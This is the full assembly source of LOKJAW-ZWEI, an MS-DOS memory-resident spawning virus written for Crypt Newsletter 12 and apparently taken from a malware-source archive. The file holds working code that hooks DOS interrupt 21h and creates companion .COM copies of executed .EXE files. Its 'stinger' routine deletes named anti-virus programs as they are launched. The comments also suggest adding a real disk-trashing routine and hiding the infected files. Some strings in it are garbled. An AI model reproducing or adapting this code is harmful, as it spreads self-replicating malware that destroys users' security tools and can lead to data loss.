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vxug-MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.lokjawz.asm
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;LOKJAW-ZWEI: an .EXE-infecting spawning virus with retaliatory
;anti-anti-virus capability. For Crypt Newsletter 12, Feb. 1993.
;
;LOKJAW-ZWEI is a resident spawning virus which installs itself in
;memory using the same engine as the original Civil War/Proto-T virus.
;It is simpler in that none of its addresses have to be
;relative, an indirect benefit of the fact that the virus has no
;"appending" quality. That means, LOKJAW doesn't alter its "host" files,
;much like a number of other companion/spawning viruses published in
;previous newsletters.
;
;LOKJAW hooks interrupt 21 and infects .EXE files on execution, creating
;itself as companion .COMfile to the "host." Due to the inherent rules
;of DOS, this ensures the virus will be executed before the "host" the
;next time the infected program is used. In reality, LOKJAW is even
;simpler than that. If not in memory, the first time the host is
;called, LOKJAW will go resident and not even bother to load it.
;In most cases, the user will assume a slight error and call the host
;again, at which point it will function normally. LOKJAW will then infect
;every subsequent .EXE file called. LOKJAW is very transparent in operation,
;except when certain anti-virus programs (Integrity Master, McAfee's SCAN &
;CLEAN, F-PROT & VIRSTOP and Central Point Anti-virus) are loaded.
;LOKJAW spawning variants are so simple they don't even need much in the
;way of installation checks. The virus simply becomes resident the first
;time it is called. Once in memory, when other infect file are executed
;LOKJAW merely looks over the loaded file, if it recognizes itself it
;discards the load and proceeds to execute the "infected" file as would
;be the case on an uninfected system.
;
;LOKJAW's "stinger" code demonstrates the simplicity of creating a strongly
;retaliating virus by quickly deleting the anti-virus program before it
;can execute and then displaying a "chomping" graphic. Even if the anti-
;virus program cannot detect LOKJAW in memory, it will be deleted. This
;makes it essential that the user know how to either remove the virus from
;memory before beginning anti-virus measures, or at the least run the
;anti-virus component from a write-protected disk. (If the LOKJAW viruses
;are present in memory and an anti-virus program is run from a write-
;protected disketter, it will, of course, generate "write protect"
;errors.) At a time when retail anti-virus packages are becoming more
;complicated - and more likely that the
;average user will run them from default installations on his hard file -
;LOKJAW's retaliating power makes it a potentially very annoying pest.
;A virus-programmer serious about inconveniencing a system could do a
;number of things with this basic idea. They are;
; 1. Remove the "chomp" effect. It is entertaining, but it exposes the virus
; instantly.
; 2. Alter the_stinger routine, so that the virus immediately attacks the
; hard file. The implementation is demonstrated by LOKJAW-DREI, which
; merely makes the disk inaccessible until a warm reboot if an anti-virus
; program is employed against it. By placing
; a BONA FIDE disk-trashing routine here, it becomes very hazardous for
; an unknowing user to employ anti-virus measures on a machine where
; LOKJAW or a LOKJAW-like program is memory resident. LOKJAW-DREI,
; which does not try to delete anti-virus files, displays the "chomp"
; and mimics trashing the disk even when the anti-virus program is
; used from a write-protected diskette. Of course, the user will
; see no "write protect" error as with the other viruses. The disk merely
; becomes inacessible.
;
;These anti-anti-virus strategies are becoming more common in viral
;programming.
;
;Mark Ludwig programmed the features of a direct-action retaliating
;virus in his "Computer Virus Developments Quarterly." Peach, Groove and
;Encroacher viruses attack anti-virus software by deletion of files central
;to the functionality of the software.
;
;And in this issue, the Sandra virus employs a number
;of anti-anti-virus features.
;
;The LOKJAW source listings are TASM compatible. To remove LOKJAW-ZWEI and
;DREI infected files from a system, simply delete the "companion" .COM
;duplicates of your executables. Ensure that the machine has been booted
;from a clean disk. To remove the LOKJAW .COM-appending virus, at this
;time it will be necessary for you to restore the contaminated files from
;a clean back-up.
;
;Alert readers will notice the LOKJAW-ZWEI and DREI create their "companion"
;files in plain sight. Generally, spawning viruses make themselves
;hidden-read-only-system files. This is an easy hack and the code is supplied
;in earlier issues of the newsletter. The modification is left to
;the reader as an academic exercise.
.radix 16
cseg segment
model small
assume cs:cseg, ds:cseg, es:cseg
org 100h
oi21 equ endit
filelength equ endit - begin
nameptr equ endit+4
DTA equ endit+8
begin: jmp virus_install
note:
db '[l<><6C>k<EFBFBD><6B>W-zW<7A><57>].<2E><>.<2E>r<EFBFBD>$ņd<C586>M<EFBFBD>$'
db '<27>H<EFBFBD>$.p<><70>G<EFBFBD><47>m.<2E>$.<2E>.{p<><70>Ŕ-<2D>].<2E><>⋆<EFBFBD><E28B86>,$<24><><EFBFBD>.<2E><>.'
db '<27>☞.<2E><>w$<24><><EFBFBD><EFBFBD><EFBFBD>' ; I.D. note: will probably be
; documented in VSUM
; install
virus_install: mov ax,cs ; reduce memory size
dec ax
mov ds,ax
cmp byte ptr ds:[0000],5a ; check if last memory
jne cancel ; block
mov ax,ds:[0003]
sub ax,100 ; decrease memory
mov ds:0003,ax
Zopy_virus:
mov bx,ax ; copy to claimed block
mov ax,es ; PSP
add ax,bx ; virus start in memory
mov es,ax
mov cx,offset endit - begin ; cx = length of virus
mov ax,ds ; restore ds
inc ax
mov ds,ax
lea si,ds:[begin] ; point to start of virus
lea di,es:0100 ; point to destination
rep movsb ; copy virus in memory
Grab_21:
mov ds,cx ; hook interrupt 21h
mov si,0084h ;
mov di,offset oi21
mov dx,offset check_exec
lodsw
cmp ax,dx ;
je cancel ; exit, if already installed
stosw
movsw
push es
pop ds
mov ax,2521h ; revector int 21h to virus
int 21h
cancel: ret
check_exec: ; look over loaded files
pushf ; for executables
push es ; push everything onto the
push ds ; stack
push ax
push bx
push dx
cmp ax,04B00h ; is a file being
; executed ?
jne abort ; no, exit
;if yes, try the_stinger
do_infect: call infect ; then try to infect
abort: ; restore everything
pop dx
pop bx
pop ax
pop ds
pop es
popf
bye_bye:
; exit
jmp dword ptr cs:[oi21]
new_24h:
mov al,3 ; critical error handler
iret
infect:
mov cs:[name_seg],ds ; this routine
mov cs:[name_off],dx ; essentially grabs
; the name of the file
cld ; <--
mov di,dx ; being loaded
push ds ; and copies it into a
pop es ; buffer where the virus
mov al,'.' ; can compare it to its
repne scasb ; "anti-virus" list, from
; the_stinger routine
call the_stinger ; now, call Lokjaw's anti-virus
; stinger
; no anti-virus, resume infection
cld ; clear direction flags
mov word ptr cs:[nameptr],dx ; save pointer to the filename
mov word ptr cs:[nameptr+2],ds
mov ah,2Fh ; get old DTA
int 21h
push es
push bx
push cs ; set new DTA
pop ds
mov dx,offset DTA
mov ah,1Ah
int 21h
call searchpoint ; find filename for virus
push di
mov si,offset COM_txt ; is extension 'COM' ?
mov cx,3
rep cmpsb
pop di
jz do_com ; if so, go to out .COM routine
mov si,offset EXE_txt ; is extension .EXE ?
nop
mov cl,3
rep cmpsb
jnz return
do_exe: mov si,offset COM_txt ; load .COM extent mask
nop
call change_ext ; change extension on filename.EXE
mov ax,3300h ; to .COM
nop
int 21h
push dx
cwd
inc ax ; clear flags
push ax
int 21h
Grab24h:
mov ax,3524h ; get critical error handler vector
int 21h
push bx
push es
push cs ; set interrupt 24h to new handler
pop ds
mov dx,offset new_24h
mov ah,25h
push ax
int 21h
lds dx,dword ptr [nameptr] ; create the virus (with name)
xor cx,cx ; of EXE target
mov ah,05Bh ;
int 21
jc return1
xchg bx,ax ; save handle
push cs
pop ds
mov cx,filelength ; cx = virus length
mov dx,offset begin
mov ah,40h ; write the virus to the created
int 21h ; file
mov ah,3Eh ; close the file
int 21h
return1: pop ax ; restore interrupt 24h
pop ds
pop dx
int 21h
pop ax
pop dx ; restore Crtl-break flags
int 21h
mov si,offset EXE_txt ; load .EXE mask
call change_ext ; and change the extension on
; the filename back to original
return: mov ah,1Ah ; host
pop dx ; restore old DTA
pop ds
int 21H
ret ;
do_com: call findfirst ; is the .COMfile executed the virus?
cmp word ptr cs:[DTA+1Ah],endit - begin
jne return ; no, so exit
mov si,offset EXE_txt ; does the .EXE variant exist ?
call change_ext
call findfirst
jnc return ;
mov si,offset COM_txt ; load .COM extension
call change_ext ; change the filename and
jmp short return ; jump to exit
searchpoint: les di,dword ptr cs:[nameptr]
mov ch,0FFh
mov al,0
repnz scasb
sub di,4
ret
change_ext: call searchpoint
push cs
pop ds
movsw
movsw
ret
findfirst: lds dx,dword ptr [nameptr]
mov cl,27h
mov ah,4Eh
int 21h
ret
the_stinger: ; the_stinger compares the loaded filename with these defaults
cmp word ptr es:[di-3],'MI' ;Integrity Master
je jumptoass ; Stiller Research
cmp word ptr es:[di-3],'XR' ; Virx = VIREX
je jumptoass ; if there's a match
; go to assassinate file
cmp word ptr es:[di-3],'PO' ;*STOP = VIRSTOP
jne next1 ; F-Prot
cmp word ptr es:[di-5],'TS'
je jumptoass
next1: cmp word ptr es:[di-3],'VA' ; AV = CPAV
je jumptoass ; Central Point
cmp word ptr es:[di-3],'TO' ;*prot = F-prot
jne next2
cmp word ptr es:[di-5],'RP'
je jumptoass
next2: cmp word ptr es:[di-3],'NA' ;*scan = McAfee's Scan.
jne next3
cmp word ptr es:[di-5],'CS'
je jumptoass
cmp word ptr es:[di-3],'NA' ; *lean = CLEAN.
jne next3 ; why not, eh?
cmp word ptr es:[di-5],'EL'
je jumptoass
next3: ret
jumptoass: ; assassinate anti-virus program
mov ds,cs:[name_seg] ; points to
mov dx,cs:[name_off] ; filename to delete
mov ax, 4301h ; clear attributes
mov cx, 00h
int 21h
jc chomp ; exit on error to visual
mov ah, 41h ; delete anti-virus file
int 21h ; exit on error to visual
jc chomp
chomp:
push cs ; chomper visual
pop ds
mov ah, 03h
int 10h
mov [c1], bh ; save cursor
mov [c2], dh
mov [c3], dl
mov [c4], ch
mov [c5], cl
mov ah, 1
mov cl, 0
mov ch, 40h
int 10h
mov cl, 0
mov dl, 4Fh
mov ah, 6
mov al, 0
mov bh, 0Fh
mov ch, 0
mov cl, 0
mov dh, 0
mov dl, 4Fh
int 10h
mov ah, 2
mov dh, 0
mov dl, 1Fh
mov bh, 0
int 10h
mov dx,offset eyes ; print the eyes
mov ah, 9
mov bl, 0Fh
int 21h
mov ah, 2
mov dh, 1
mov dl, 0
int 10h
mov ah, 9
mov al, 0DCh
mov bl, 0Fh
mov cx, 50h
int 10h
mov ah, 2
mov dh, 18h
mov dl, 0
int 10h
mov ah, 9
mov al, 0DFh
mov bl, 0Fh
mov cx, 50h
int 10h
mov dl, 0
chomp_1:
mov ah, 2
mov dh, 2
int 10h
mov ah, 9
mov al, 55h
mov bl, 0Fh
mov cx, 1
int 10h
mov ah, 2
mov dh, 17h
inc dl
int 10h
mov ah, 9
mov al, 0EFh
mov bl, 0Fh
int 10h
inc dl
cmp dl, 50h
jl chomp_1
mov [data_1], 0
chomp_3:
mov cx, 7FFFh ; delays
locloop_4:
loop locloop_4
inc [data_1]
cmp [data_1], 0Ah
jl chomp_3
mov [data_1], 0
mov cl, 0
mov dl, 4Fh
chomp_5:
mov ah, 6
mov al, 1
mov bh, [data_2]
mov ch, 0Dh
mov dh, 18h
int 10h
mov ah, 7
mov al, 1
mov bh, [data_2]
mov ch, 0
mov dh, 0Ch
int 10h
mov cx, 3FFFh ; delays
locloop_6:
loop locloop_6
inc [data_1]
cmp [data_1], 0Bh
jl chomp_5
mov [data_1], 0
chomp_7:
mov cx, 7FFFh ; delays
locloop_8:
loop locloop_8
inc [data_1]
cmp [data_1], 0Ah
jl chomp_7
mov ah, 6
mov al, 0
mov bh, [data_2]
mov ch, 0
mov cl, 0
mov dh, 18h
mov dl, 4Fh
int 10h
mov cl, 7
mov ch, 6
int 10h
mov ah, 2
mov bh, [c1]
mov dh, [c2]
mov dl, [c3]
int 10h
mov al, bh
mov ah, 5
int 10h
mov ah, 1
mov ch, [c4]
mov cl, [c5]
int 10h
mov ax, 0003h
int 10h ; sort of a cls
mov ax, 00ffh
ret
EXE_txt db 'EXE',0 ; extension masks
COM_txt db 'COM',0
eyes db '(o) (o)','$' ; ASCII eyes of Lockjaw
data_1 db 0
data_2 db 0
name_seg dw ?
name_off dw ?
c1 db 0
c2 db 0
c3 db 0
c4 db 0
c5 db 0
note2: db 'Lokjaw-Zwei'
endit:
cseg ends
end begin
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